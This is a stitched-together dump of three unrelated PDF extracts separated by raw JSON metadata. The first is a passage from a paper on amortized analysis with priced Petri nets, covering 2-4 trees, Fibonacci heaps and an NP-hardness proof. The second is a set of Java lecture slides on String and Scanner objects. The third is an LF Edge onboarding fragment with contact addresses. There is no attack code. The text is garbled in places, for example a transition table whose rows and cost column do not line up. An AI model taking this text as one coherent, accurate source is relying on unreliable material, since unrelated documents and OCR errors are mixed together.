### 2.3. Insertions/deletions in 2-4 trees
To allow both insertions and deletions to be performed efficiently in the amortized sense, the tree must be allowed more flexibility. A natural generalization is to allow a node to have up to four children. Such a data structure is known as a 2-4 tree. In it every internal node has two, three, or four children, and the distance from the root to each external node is the same.³
Insertions are performed almost as in 2-3 trees. The only difference is that when a 5-node is created, it is split into a 2-node and a 3-node, and when a 3 or 4-node is created the process stops.
Deletions are performed as follows. Let \( x \) be the node to be deleted. Let \( y \) be the parent of \( x \). After \( x \) is deleted from \( y \), the degree of \( y \) is one, two, or three. If the degree is two or three the process terminates. If the degree is one, then we must consider a node \( z \) that is a sibling of \( y \) adjacent to \( y \). If the degree of \( z \) is three or four, then one of its children is removed and made a child of \( y \). If the degree of \( z \) is two, then \( y \) and \( z \) are merged to make a 3-node. This decreases the degree of the parent of \( y \), which is repaired in the same manner
---
²This cost measure ignores the first phase of the insertion — finding the place at which to put the node. The running time of that phase is easily seen to be \( \Theta(\log n) \) per operation. In many applications the location at which to insert the new node is known without searching, and only the second phase is necessary.
³For a more complete discussion of these trees, isomorphisms between 2-4 trees and other data structures, and algorithms for manipulating these trees see [15].
that $y$ was repaired. The process continues up the tree until either a node of sufficiently high degree (three or four) is reached. If the root is reached and is changed into a 1-node, it is deleted. I define the cost of a deletion to be the number of nodes that change.
Below is a set of transitions that describe the situation. Each transition corresponds to a unit cost operation. The symbol “$b$” denotes the pending decrease in degree of a node. The column labeled $\Delta \Phi$ is the change in the potential function caused by the transition. The potential used is $\Phi = 3N_1 + N_2 + 2N_4 + 3N_c + 3N_b$.
$$
\begin{array}{ccc}
b + 2 & \rightarrow & 1 \\
b + 3 & \rightarrow & 2 \\
b + 4 & \rightarrow & 3 \\
1 + 4 & \rightarrow & 2 + 3 \\
1 + 3 & \rightarrow & 2 + 2 \\
1 + 2 & \rightarrow & 3 + b \\
c + 2 & \rightarrow & 3 \\
c + 3 & \rightarrow & 4 \\
c + 4 & \rightarrow & 2 + 3 + c \\
c + 4 & \rightarrow & 2 + 3 + 2 \\
\end{array}
$$
$\Delta \Phi$
-1
-2
-5
-4
-1
-1
-4
-1
-3
For simplicity we have assumed that the tree always has at least one internal node. (The initial tree consists of one 2-node and two external nodes.) The form of the potential function, and the fact that the potential decreases by at least one as a result of each transition proves that doing $n$ insertions and $m$ deletions costs at most $3(n + m)$. The amortized cost of an insertion or deletion is 3.
2.4. Persistent data structures
Persistence is another example of a dynamic data structure problem that can be analyzed with these techniques.
Consider a data structure that allows update operations (which change the data represented), and query operations (which answer queries about the data). Over time, a sequence of different versions of the data structure exists. A new version is created (and the old one destroyed) each time an update operations occurs. Such a data structure is called ephemeral. A persistent extension of such a structure maintains all of the versions that ever existed, in the sense that any query operation can be performed on any version of the structure.
Driscoll, Sarnak, Sleator, and Tarjan [12, 3, 4] gave techniques to automatically transform certain types of ephemeral data structures into persistent ones, at the cost of only a small additive term in the time, and using constant amortized extra space per update. A fully persistent data structure [3, 4] allows both queries and updates of past versions, for a particular notion of what it means to “change the past.”
The analysis of both the space and the time bounds of these techniques for making data structures persistent can be done using the Petri net method described in this paper.
2.5. Fibonacci heaps
A fibonacci heap [3] is a data structure allows the manipulation of a collection of sets of numbers (keys). Specifically, it allows the union of two sets to be formed (melding), new keys to be inserted into a set, and a key in a set to decreased (decrease-key) all in constant amortized time. The operation of deleting of a specific key and deleting the minimum key (delete-min) can be performed in $O(\log n)$ time in a set with $n$ keys. This data structure has many applications in efficient graph algorithms.
The decrease-key algorithm in fibonacci heaps involves a process called a *cascading cut*. Its analysis can be performed using the Petri net approach described here.
3. Bounding the cost in general
First I should make the definitions a little more precise. Each transition has an non-negative integer linear combination of particles on its left side and on its right side. At any point in the process there is a population of particles to which a sequence of transitions is applied. A transition can only be applied if the requirements of the left side of the transition are satisfied by the current population. Applying the transition removes the particles specified on the left side, and replaces them by those of the right side.
Our work on data structures motivates the following questions: Under what conditions is the cost of a priced Petri net bounded? When it is bounded, how can a bound on its cost be computed (as a function of the net and the initial population)? We have partial answers to these questions.
The reachability problem for Petri nets is the following: Given a Petri net, an initial distribution of particles, and a goal distribution, is there a firing sequence that leads from the initial distribution to the goal distribution? Lipton [8] proved that the problem is exponential-space-hard, and Mayr [9] showed it is decidable. I am interested in the problem of deciding if a Petri net is has bounded cost for a particular initial distribution of particles. I was not able to show the equivalence between this problem and the reachability problem, but I was able to show that the problem is NP-complete.
**Theorem 1** Given a priced Petri net and an initial state the problem of determining whether it is terminating (or bounded) is NP-hard.
Proof. I will show how to reduce an instance of 3-SAT to this problem. Let the variables of the 3-SAT instance be $x_1, x_2, \ldots, x_n$, and the clauses be $C_1, C_2, \ldots, C_m$. The Petri net I construct will have a particle type for both truth values of each variable in each clause. These particles will be denoted $T_{ij}$ (variable $x_i$ in clause $C_j$), and $F_{ij}$. There will also be a particle type for each clause $P_j$ for $1 \leq j \leq m$.
The initial configuration consists of one of each of the $T$ particles. The transitions will ensure that no $T$ particles or $F$ particles for the same variable will simultaneously exist.
There is (for each variable $x_i$) a transition whose purpose is to complement that variable. This transition is:
$$T_{i1} + T_{i2} + \cdots + T_{im} \rightarrow F_{i1} + F_{i2} + \cdots + F_{im}$$
For each clause there are three transitions (one for each literal of the clause). The left side of each of these corresponds to one of the variables, and the right side is just the $P$ corresponding to this clause. For example, if $C_7 = (x_1 \lor x_2 \lor \overline{x}_3)$ then the three transitions for this clause would be:
$$T_{1,7} \rightarrow P_7$$
$$T_{2,7} \rightarrow P_7$$
$$F_{3,7} \rightarrow P_7$$
Notice that once one of these has fired the variable corresponding to its left side cannot change (the variable assignment transition cannot fire).
Finally, there is a checking transition whose left side has all of the $Ps$, and whose right side has two copies of each of these. If this transition fires, it can fire infinitely often.
This Petri net is non-terminating for the specified initial population if and only if the 3-SAT formula is satisfiable. The following paragraphs show this.
Suppose that the formula is satisfiable. For each variable that is false in the satisfying assignment the truth assignment transition is fired. Now there must exist for each clause a particle which will allow one of the clause transitions to fire (creating a $P$ type particles for that clause). Once all of the $P$ particles have been produced, the checking transition can be fired infinitely often.
Conversely suppose that the Petri net is non-terminating. The only cyclic path in the Petri net involves the checking transition. Therefore we know that at least one copy of each of the $P$ type particles must have been created. This in turn means that one of the literals in it must be true. This proves that the formula is satisfiable.
\[ \square \]
More constructive results can be obtained by asking the more general question of whether a priced Petri net’s cost is bounded for all initial populations.
To state these results we need some notation. Let $n$ be the number of different particle types, and let $m$ be the number of transitions. The transition matrix $A$ of a Petri net is an $n \times m$ integral valued matrix. Each of the $m$ columns corresponds to a transition, and $a_{ij}$ is the change in the count of particle type $i$ caused by an application of transition $j$. The cost vector $c$ is a vector of $m$ costs, where $c_j$ is the cost of transition $j$. (The following is a generalization of a theorem of Memmi and Roucairol to the case of an arbitrary cost vector [10, theorem 1].)
Theorem 2 Given a priced Petri net with transition matrix $A$ and cost vector $c$, the following three are equivalent:
(1) The Petri net has bounded cost for all initial states.
(2) There is no solution $s$ (a real vector of size $n$) to the following system of inequalities:
$$
s \geq 0$$
$$c^t s > 0$$
$$As \geq 0$$
(3) There is a solution $p$ (a real vector of size $m$) to the following system of inequalities:
$$p \geq 0$$
$$p^t A \leq -c^t$$
Proof.
(3) $\Rightarrow$ (1). (The solution $p$ to (3) corresponds to the potential in the examples.) We rewrite the inequality as
$$p^t A + c^t \leq 0.$$
Consider a firing of the $j$th transition. Let the population vector before and after the firing be $v$ and $v'$ respectively. The $j$th of the above inequalities can be expressed as:
$$p^t (v' - v) + c_j \leq 0$$
If we let $v_0$ be the initial population vector, and $v_k$ be one at time $k$, and $C_k$ be the cumulative cost for the first $k$ steps, then we get:
$$p^t (v_{k} - v_0) + C_k \leq 0$$
or
$$C_k \leq p^t v_0 - p^t v_k \leq p^t v_0$$
It follows that the cost of the Petri net is bounded in each initial state.
(1) $\Rightarrow$ (2): Actually I will show the contrapositive; if (2) does not hold, then neither does (1). So assume that there is a solution $s$ to the inequalities in (2). I have to show that there is an initial state of the Petri net which can lead to unbounded cost.
We may assume without loss of generality that $s$ is integral. (If there is a real solution, then there must be a rational solution. Multiplying $s$ by the product of the denominators gives an integral solution without violating any of the inequalities.) There is some finite number of particles sufficiently large that from it we can apply the $j$th transition $s_j$ times (for all $j$). Because of the inequality $As \geq 0$ no particle type decreased in population as a result of all these transitions. Therefore this sequence can be repeated as often as desired.
The cost of all these transitions \(c^ts\) is greater than zero. This shows that the cost of this particular initial state can be unbounded.
\((2) \Rightarrow (3)\): Let \(A\) and \(c\) be fixed. Consider the following linear programming problems (the variables are \(s\) and \(p\)):
\[
\begin{align*}
\text{maximize} & \quad c^ts \\
\text{subject to} & \quad As \geq 0, \\
& \quad s \geq 0
\end{align*}
\]
\[
\begin{align*}
\text{minimize} & \quad 0 \\
\text{subject to} & \quad p^tA \leq -c^t, \\
& \quad p \geq 0
\end{align*}
\]
These are dual linear programs [2, p.60]. The linear program on the left has the feasible solution \(s = 0\). By (2) we know that the maximum value of this LP is 0. By the duality theorem [2] we infer that the LP on the right is also feasible. This completes the proof.
\(\square\)
If the conditions of Theorem 2 hold, then we can use linear programming to give a specific bound on the cost that can be incurred in any initial state as follows. My proof shows that \(v_0^tp\) is a bound on the ultimate cost of initial state \(v_0\). Thus, the linear program on the right below gives a bound (the tightest this method can give) on the total cost. Furthermore, by duality its solution equals that of the linear program in the left.
\[
\begin{align*}
\text{maximize} & \quad c^ts \\
\text{subject to} & \quad As \geq -v_0, \\
& \quad s \geq 0
\end{align*}
\]
\[
\begin{align*}
\text{minimize} & \quad v_0^tp \\
\text{subject to} & \quad p^tA \leq -c^t, \\
& \quad p \geq 0
\end{align*}
\]
4. Conclusions
This paper represents a small step in the direction of making amortized analysis more systematic. Can these methods be generalized to apply to more complicated data structures, such as splay trees [13]?
References
|
{"Source-Url": "http://www.cs.cmu.edu/~sleator/papers/reactions.pdf", "len_cl100k_base": 6483, "olmocr-version": "0.1.53", "pdf-total-pages": 11, "total-fallback-pages": 0, "total-input-tokens": 56066, "total-output-tokens": 7996, "length": "2e12", "weborganizer": {"__label__adult": 0.0004606246948242187, "__label__art_design": 0.0004949569702148438, "__label__crime_law": 0.0006489753723144531, "__label__education_jobs": 0.0012731552124023438, "__label__entertainment": 0.00012886524200439453, "__label__fashion_beauty": 0.0002448558807373047, "__label__finance_business": 0.000568389892578125, "__label__food_dining": 0.0006589889526367188, "__label__games": 0.0007138252258300781, "__label__hardware": 0.0023174285888671875, "__label__health": 0.0018892288208007812, "__label__history": 0.0005288124084472656, "__label__home_hobbies": 0.00025725364685058594, "__label__industrial": 0.0009288787841796876, "__label__literature": 0.00043392181396484375, "__label__politics": 0.0004703998565673828, "__label__religion": 0.0007910728454589844, "__label__science_tech": 0.341552734375, "__label__social_life": 0.00014197826385498047, "__label__software": 0.007541656494140625, "__label__software_dev": 0.6357421875, "__label__sports_fitness": 0.0004475116729736328, "__label__transportation": 0.0012950897216796875, "__label__travel": 0.0002970695495605469}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 27910, 0.05198]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 27910, 0.51911]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 27910, 0.90186]], "google_gemma-3-12b-it_contains_pii": [[0, 2201, false], [2201, 5380, null], [5380, 8070, null], [8070, 10718, null], [10718, 13796, null], [13796, 16500, null], [16500, 19456, null], [19456, 22074, null], [22074, 24061, null], [24061, 26224, null], [26224, 27910, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2201, true], [2201, 5380, null], [5380, 8070, null], [8070, 10718, null], [10718, 13796, null], [13796, 16500, null], [16500, 19456, null], [19456, 22074, null], [22074, 24061, null], [24061, 26224, null], [26224, 27910, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 27910, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 27910, null]], "pdf_page_numbers": [[0, 2201, 1], [2201, 5380, 2], [5380, 8070, 3], [8070, 10718, 4], [10718, 13796, 5], [13796, 16500, 6], [16500, 19456, 7], [19456, 22074, 8], [22074, 24061, 9], [24061, 26224, 10], [26224, 27910, 11]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 27910, 0.0]]}
|
olmocr_science_pdfs
|
2024-12-10
|
2024-12-10
|
962cc4863c8674273f076277d68a2828c2f2d7e0
|
Using Objects from Existing Classes
Computer Science S-111
Harvard University
David G. Sullivan, Ph.D.
Combining Data and Operations
- The data types that we’ve seen thus far are referred to as *primitive* data types.
- `int`, `double`, `char`
- several others
- Java allows us to use another kind of data known as an *object*.
- An object groups together:
- one or more data values (the object's *fields*)
- a set of operations (the object's *methods*)
- Objects in a program are often used to model real-world objects.
Combining Data and Operations (cont.)
- Example: an Address object
- possible fields: street, city, state, zip
- possible operations: get the city, change the city, check if two addresses are equal
- Here are two ways to visualize an Address object:
| street | "111 Cummington St." |
| city | "Boston" |
| state | "MA" |
| zip | "02215" |
getCity()
changeCity() ...
Classes as Blueprints
- We've been using classes as containers for our programs.
- A class can also serve as a blueprint – as the definition of a new type of object.
- The objects of a given class are built according to its blueprint.
- Another analogy:
- class = cookie cutter
- objects = cookies
- The objects of a class are also referred to as instances of the class.
Class vs. Object
- The Address class is a blueprint:
```java
public class Address {
// definitions of the fields
...
// definitions of the methods
...
}
```
- Address objects are built according to that blueprint:
```
street "111 Cummington St."
city "Boston"
state "MA"
zip "02215"
street "240 West 44th Street"
city "New York"
state "NY"
zip "10036"
street "1600 Pennsylvania Ave."
city "Washington"
state "DC"
zip "20500"
```
Using Objects from Existing Classes
- Later in the course, you'll learn how to create your own classes that act as blueprints for objects.
- For now, we'll focus on learning how to use objects from existing classes.
String Objects
• In Java, a string (like "Hello, world!") is actually represented using an object.
• data values: the characters in the string
• operations: get the length of the string, get a substring, etc.
• The String class defines this type of object:
```java
public class String {
// definitions of the fields
...
// definitions of the methods
...
}
```
• Individual String objects are instances of the String class:
| Perry | Hello | object |
Variables for Objects
• When we use a variable to represent an object, the type of the variable is the name of the object's class.
• Here's a declaration of a variable for a String object:
```java
String name;
```
• we capitalize string, because it's a class name
Creating String Objects
- One way to create a String object is to specify a string literal:
```java
String name = "Perry Sullivan";
```
- We create a new String from existing Strings when we use the + operator to perform concatenation:
```java
String firstName = "Perry";
String lastName = "Sullivan";
String fullName = firstName + " " + lastName;
```
- Recall that we can concatenate a String with other types of values:
```java
String msg = "Perry is " + 6;
// msg now represents "Perry is 6"
```
Using an Object's Methods
- An object's methods are different from the static methods that we've seen thus far.
- they're called non-static or instance methods
- An object's methods belong to the object. They specify the operations that the object can perform.
- To use a non-static method, we have to specify the object to which the method belongs.
- use dot notation, preceding the method name with the object's variable:
```java
String firstName = "Perry";
int len = firstName.length();
```
- Using an object's method is like sending a message to the object, asking it to perform that operation.
The API of a Class
- The methods defined within a class are known as the API of that class.
- API = application programming interface
- We can consult the API of an existing class to determine which operations are supported.
- The API of all classes that come with Java is available here: https://docs.oracle.com/javase/8/docs/api/
- there’s a link on the resources page of the course website
Consulting the Java API
select the package name (optional)
String is in java.lang
Consulting the Java API
- Scroll down to see a summary of the available methods:
- `length()`
- `matches(String regex)`
- `startsWith(String prefix)`
- `endsWith(String suffix)`
- `compareTo(String other)`
- `indexOf(int ch)`
- `indexOf(String substr)`
- `lastIndexOf(String substr)`
- `lastIndexOf(int ch)`
- `compareToIgnoreCase(String other)`
- `toUpperCase()`
- `toLowerCase()`
- `trim()`
- `replace(String old, String new)`
- `replaceAll(String regex, String replacement)`
- `format(String format)`
- `format(float)`
- `format(double)`
- `format(long)`
- `format(int)`
- `format(boolean)`
- `format(char)`
- `format(BigInteger)`
- `format(BigDecimal)`
- `format(Number)`
select the class name
Consulting the Java API (cont.)
• Clicking on a method name gives you more information:
```
public int length()
```
**method header**
- Returns the length of this string. The length is equal to the number of Unicode code units in the string.
- Specified by: `length in interface CharSequence`
- Returns:
- the length of the sequence of characters represented by this object.
**behavior**
• From the header, we can determine:
• the return type: `int`
• the parameters we need to supply:
- the empty `()` indicates that `length` has no parameters
---
Numbering the Characters in a String
• The characters are numbered from left to right, starting from 0.
```
0 1 2 3 4
Perry
```
• The position of a character in a string is known as its **index**.
• 'P' has an index of 0 in "Perry"
• 'y' has an index of 4
substring Method
```java
public String substring(int beginIndex, int endIndex)
```
Returns a new string that is a substring of this string. The substring begins at the specified `beginIndex` and extends to the character at `index endIndex - 1`. Thus the length of the substring is `endIndex - beginIndex`.
**String `substring(int beginIndex, int endIndex)`**
- **return type:**
- **parameters:**
- **behavior:** returns the substring that:
- begins at `beginIndex`
- ends at `endIndex - 1`
**substring Method (cont.)**
- To extract a substring of length $N$, you can just figure out `beginIndex` and do:
```java
substring(beginIndex, beginIndex + $N$)
```
- **example:** consider again this string:
```java
String name = "Perry Sullivan";
```
To extract a substring containing the first 5 characters, we can do this:
```java
String first = name.substring(0, 5);
```
Review: Calling a Method
• Consider this code fragment:
```java
String name = "Perry Sullivan";
int start = 6;
String last = name.substring(start, start + 8);
```
• Steps for executing the method call:
1. the actual parameters are evaluated to give:
```java
String last = name.substring(6, 14);
```
2. a frame is created for the method, and the actual parameters are assigned to the formal parameters
3. flow of control jumps to the method, which creates and returns the substring "Sullivan"
4. flow of control jumps back, and the returned value replaces the method call:
```java
String last = "Sullivan";
```
How should we fill in the blank?
```java
String s = "Strings have methods inside them!";
int len = s.length();
_______________ // get the last character in s
```
charAt Method
- The `charAt()` method that we use for indexing returns a `char`, not a `String`.
- We have to be careful when we use its return value!
- example: what does this print?
```java
String name = "Perry Sullivan";
System.out.println(name.charAt(0) + name.charAt(6));
```
charAt Method
- Here’s how we can fix this:
```java
String name = "Perry Sullivan";
System.out.println(name.charAt(0) + name.charAt(6));
System.out.println('P' + 'S');
System.out.println("PS");
```
Another String Method
String toUpperCase()
returns a new String in which all of the letters in the original String are converted to upper-case letters
• Example:
String warning = "Start the problem set ASAP!";
System.out.println(warning.toUpperCase());
System.out.println("START THE PROBLEM SET ASAP!");
• toUpperCase() creates and returns a new String. It does not change the original String.
• In fact, it's never possible to change an existing String object.
• We say that Strings are immutable objects.
indexOf Method
int indexOf(char ch)
• return type: int
• parameter list: (char ch)
• returns:
• the index of the first occurrence of ch in the string
• -1 if the ch does not appear in the string
• examples:
String name = "Perry Sullivan";
System.out.println(name.indexOf('r'));
System.out.println(name.indexOf('X'));
The Signature of a Method
• The signature of a method consists of:
• its name
• the number and types of its parameters
```java
public String substring(int beginIndex, int endIndex)
```
• A class cannot include two methods with the same signature.
Two Methods with the Same Name
• There are actually two String methods named substring:
```java
String substring(int beginIndex, int endIndex)
String substring(int beginIndex)
```
• returns the substring that begins at beginIndex and continues to the end of the string
• Do these two methods have the same signature?
• Giving two methods the same name is known as method overloading.
• When you call an overloaded method, the compiler uses the number and types of the actual parameters to figure out which version to use.
Console Input Using a Scanner Object
• We’ve been printing text in the console window.
• You can also ask the user to enter a value in that window.
• known as console input
• To do so, we use a type of object known as a Scanner.
• recall PS 2
Packages
• Java groups related classes into \textit{packages}.
• Many classes are part of the \texttt{java.lang} package.
• examples: \texttt{String, Math}
• We don’t need to tell the compiler where to find these classes.
• If a class is in another package, we need to use an \texttt{import} statement so that the compiler will be able to find it.
• put it \textit{before} the definition of the class
• The \texttt{Scanner} class is in the \texttt{java.util} package, so we do this:
\begin{verbatim}
import java.util.*;
public class MyProgram {
...
\end{verbatim}
Creating an Object
- String objects are different from other objects, because we're able to create them using literals.
- To create an object, we typically use a special method known as a constructor.
- Syntax:
`<variable> = new <ClassName>(<parameters>);`
or
`<type> <variable> = new <ClassName>(<parameters>);`
- To create a scanner object for console input:
```java
Scanner console = new Scanner(System.in);
```
the parameter tells the constructor that we want the scanner to read from the standard input (i.e., the keyboard)
Scanner Methods: A Partial List
- String `next()`
- read in a single "word" and return it
- `nextInt()`
- read in an integer and return it
- `nextDouble()`
- read in a floating-point value and return it
- String `nextLine()`
- read in a "line" of input (could be multiple words) and return it
Example of Using a Scanner Object
- To read an integer from the user:
```java
Scanner console = new Scanner(System.in);
int numGrades = console.nextInt();
```
- The second line causes the program to pause until the user types in an integer followed by the [ENTER] key.
- If the user only hits [ENTER], it will continue to pause.
- If the user enters an integer, it is returned and assigned to numGrades.
- If the user enters a non-integer, an exception is thrown and the program crashes.
Example Program: GradeCalculator
```java
import java.util.*;
public class GradeCalculator {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
System.out.print("Points earned: ");
int points = console.nextInt();
System.out.print("Possible points: ");
int possiblePoints = console.nextInt();
double grade = points/(double)possiblePoints;
grade = grade * 100.0;
System.out.println("grade is "+ grade);
}
}
```
Important Note About Console Input
• When writing an interactive program that involves user input in methods other than main, you should:
• create a single Scanner object in the first line of the main method
• pass that object into any other method that needs it
• This allows you to avoid creating multiple objects that all do the same thing.
• It also facilitates our grading, because it allows us to provide a series of inputs using a file instead of the keyboard.
Important Note About Console Input (cont.)
• Example:
public class MyProgram {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
String str1 = getString(console);
String str2 = getString(console);
System.out.println(str1 + " " + str2);
}
public static String getString(Scanner console){
System.out.print("Enter a string: ");
String str = console.next();
return str;
}
}
}
What's Wrong with the Following?
```java
class LengthConverter {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
int cm = getInches(console) * 2.54;
System.out.println(getInches(console) + " inches = " + cm + " cm");
}
public static int getInches(Scanner console) {
System.out.print("Enter a length in inches: ");
int inches = console.nextInt();
return inches;
}
}
```
Exercise: Analyzing a Name: First Version
```java
class NameAnalyzer {
public static void main(String[] args) {
String name = "Perry Sullivan";
System.out.println("full name = " + name);
int length = name.length();
System.out.println("length = " + length);
String first = name.substring(0, 5);
System.out.println("first name = " + first);
String last = name.substring(6);
System.out.println("last name = " + last);
}
}
```
Making the Program More General
- Would the code work if we used a different name?
```java
import java.util.*;
public class NameAnalyzer {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
String name = console.nextLine();
System.out.println("full name = " + name);
int length = name.length();
System.out.println("length = " + length);
String first = name.substring(0, 5);
System.out.println("first name = " + first);
String last = name.substring(6);
System.out.println("last name = " + last);
}
}
```
Breaking Up a Name
- Given a string of the form "firstName lastName", how can we get the first and last names, without knowing how long it is?
- Pseudocode for what we need to do:
- What string methods can we use? Consult the API!
- Code:
Static Methods for Breaking Up a Name
• How could we rewrite our name analyzer to use separate methods for extracting the first and last names?
```java
public static _______ firstName(_______________) {
}
public static _______ lastName(_______________) {
}
```
Using the Static Methods
• Given the methods from the previous slide, what would the main method now look like?
```java
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
String name = console.nextLine();
System.out.println("full name = " + name);
int length = name.length();
System.out.println("length = " + length);
}
```
Processing a String One Character at a Time
• Write a method for printing the name vertically, one char per line.
```java
import java.util.*;
public class NameAnalyzer {
public static void main(String[] args) {
Scanner console = new Scanner(System.in);
String name = console.nextLine();
System.out.println("full name = " + name);
...
printVertical(name);
}
public static _____ printVertical(_______________){
for (int i = 0; i < _______________; i++) {
}
}
}
```
Scanner Objects and Tokens
• Most Scanner methods read one token at a time.
• Tokens are separated by whitespace (spaces, tabs, newlines).
• example: if the user enters the line
```text
wow, I slept for 9 hours!\n ```
there are six tokens:
• wow,
• I
• slept
• for
• 9
• hours!
newline character, which you get when you hit [ENTER]
Scanner Objects and Tokens (cont.)
- Consider the following lines of code:
```java
System.out.print("Enter the length and width: ");
int length = console.nextInt();
int width = console.nextInt();
```
- Because the `nextInt()` method reads one token at a time, the user can either:
- enter the two numbers on the same line, separated by one or more whitespace characters
```
Enter the length and width: 30 15
```
- enter the two numbers on different lines
```
Enter the length and width: 30
15
```
nextLine Method
- The `nextLine()` method does not just read a single token.
- Using `nextLine` can lead to unexpected behavior, for reasons that we'll discuss later on.
- Avoid it for now!
Additional Terminology
• To avoid having too many new terms at once, I've limited the terminology introduced in these notes.
• Here are some additional terms related to classes, objects, and methods:
• *invoking* a method = calling a method
• method *invocation* = method call
• the *called object* = the object used to make a method call
• *instantiate* an object = create an object
• *members* of a class = the fields and methods of a class
|
{"Source-Url": "http://sites.harvard.edu:80/~libs111/files/lectures/unit3-2.pdf", "len_cl100k_base": 4387, "olmocr-version": "0.1.50", "pdf-total-pages": 23, "total-fallback-pages": 0, "total-input-tokens": 36487, "total-output-tokens": 5726, "length": "2e12", "weborganizer": {"__label__adult": 0.00048279762268066406, "__label__art_design": 0.000293731689453125, "__label__crime_law": 0.00032329559326171875, "__label__education_jobs": 0.0035305023193359375, "__label__entertainment": 6.026029586791992e-05, "__label__fashion_beauty": 0.00017917156219482422, "__label__finance_business": 0.0001360177993774414, "__label__food_dining": 0.0004906654357910156, "__label__games": 0.0005950927734375, "__label__hardware": 0.0007300376892089844, "__label__health": 0.0004200935363769531, "__label__history": 0.00020122528076171875, "__label__home_hobbies": 0.00012612342834472656, "__label__industrial": 0.0003228187561035156, "__label__literature": 0.00027179718017578125, "__label__politics": 0.00024580955505371094, "__label__religion": 0.0006823539733886719, "__label__science_tech": 0.0016298294067382812, "__label__social_life": 0.00014829635620117188, "__label__software": 0.003337860107421875, "__label__software_dev": 0.984375, "__label__sports_fitness": 0.0004496574401855469, "__label__transportation": 0.0006246566772460938, "__label__travel": 0.0002849102020263672}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 18169, 0.00807]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 18169, 0.93344]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 18169, 0.72719]], "google_gemma-3-12b-it_contains_pii": [[0, 535, false], [535, 1355, null], [1355, 2079, null], [2079, 2825, null], [2825, 3975, null], [3975, 4458, null], [4458, 5209, null], [5209, 6039, null], [6039, 6937, null], [6937, 7752, null], [7752, 8265, null], [8265, 9130, null], [9130, 9925, null], [9925, 10753, null], [10753, 11621, null], [11621, 12642, null], [12642, 13591, null], [13591, 14561, null], [14561, 15427, null], [15427, 16071, null], [16071, 16979, null], [16979, 17715, null], [17715, 18169, null]], "google_gemma-3-12b-it_is_public_document": [[0, 535, true], [535, 1355, null], [1355, 2079, null], [2079, 2825, null], [2825, 3975, null], [3975, 4458, null], [4458, 5209, null], [5209, 6039, null], [6039, 6937, null], [6937, 7752, null], [7752, 8265, null], [8265, 9130, null], [9130, 9925, null], [9925, 10753, null], [10753, 11621, null], [11621, 12642, null], [12642, 13591, null], [13591, 14561, null], [14561, 15427, null], [15427, 16071, null], [16071, 16979, null], [16979, 17715, null], [17715, 18169, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, true], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 18169, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 18169, null]], "pdf_page_numbers": [[0, 535, 1], [535, 1355, 2], [1355, 2079, 3], [2079, 2825, 4], [2825, 3975, 5], [3975, 4458, 6], [4458, 5209, 7], [5209, 6039, 8], [6039, 6937, 9], [6937, 7752, 10], [7752, 8265, 11], [8265, 9130, 12], [9130, 9925, 13], [9925, 10753, 14], [10753, 11621, 15], [11621, 12642, 16], [12642, 13591, 17], [13591, 14561, 18], [14561, 15427, 19], [15427, 16071, 20], [16071, 16979, 21], [16979, 17715, 22], [17715, 18169, 23]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 18169, 0.0101]]}
|
olmocr_science_pdfs
|
2024-11-29
|
2024-11-29
|
1654b99668cc8aa503e3b2129f588b1f06c26bde
|
Prime Guide to LF Edge For Current and New Members
Getting Started Guide
We are creating a common framework for hardware and software standards and best practices critical to sustaining current and future generations of IoT and edge devices.
LF Edge References
**Key Contacts**
Arpit Joshipura, Executive Sponsor
ajoshipura@linuxfoundation.org
Mike Woster, Membership
mwoster@linuxfoundation.org
Aaron Williams, Developer Advocate
aaron@lfedge.org
Brett Preston, Sr. Program Manager
bpreston@linuxfoundation.org
Jill Lovato / Maemalynn Meanor, PR and Marketing
pr@lfedge.org
